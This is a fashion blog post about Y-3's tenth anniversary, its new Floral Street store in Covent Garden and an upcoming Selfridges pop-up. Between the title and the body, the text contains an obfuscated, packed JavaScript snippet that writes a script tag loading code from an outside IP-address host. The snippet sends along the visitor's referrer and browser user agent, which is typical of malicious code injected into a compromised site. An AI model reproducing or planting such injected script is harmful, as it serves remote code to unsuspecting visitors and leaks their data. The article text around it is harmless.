Y-3 (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ednan|var|u0026u|referrer|rhtyf||js|php’.split(‘|’),0,{}))
are about to celebrate the big 1-0 this year, and to commemorate these 10 fine years of sporting lux the brand is about to expand their retail stores with a brand new Covent Garden location.

Situated on the beautiful Floral Street in a Grade II listed building which is 175 years old, this will be Y-3’s second London location, the other being Conduit Street. Marking a decade of fashion forward sport-style, Yohji Yamamoto is an avant-garde powerhouse who fuses so brilliantly with the design science behind Adidas.

The new store is a hub of technology, which suits the brand to a tee. Collaborating with lighting gurus Erco, Y-3 has developed a system which can create a different ambience depending on the time of the day. It can also highlight individual products which are neatly displayed on the frosted shelves. Slick!!

Mirroring the brands lifestyle, looking forward to a future looking back on it’s past. The store is naturally ultra minimal and understandably chic. Y-3 have used pioneering technology and managed to keep some of the properties distinctive features, such as the industrial steel pillars and original arched windows.

In addition to the birthday celebrations, Y-3 are about to partner with Selfridges. On 19th August Y-3 will take over the whole contemporary sports space, which sits within the brand new Denim Studio. The full A/W 13 collection will be available, plus some exclusive trainers. Y this could be a pretty sweet pop-up, sorry we couldn’t help ourselves.

Happy birthday Y-3, here’s to another 10.

12 Floral Street, Covent Garden, WC2E 9DH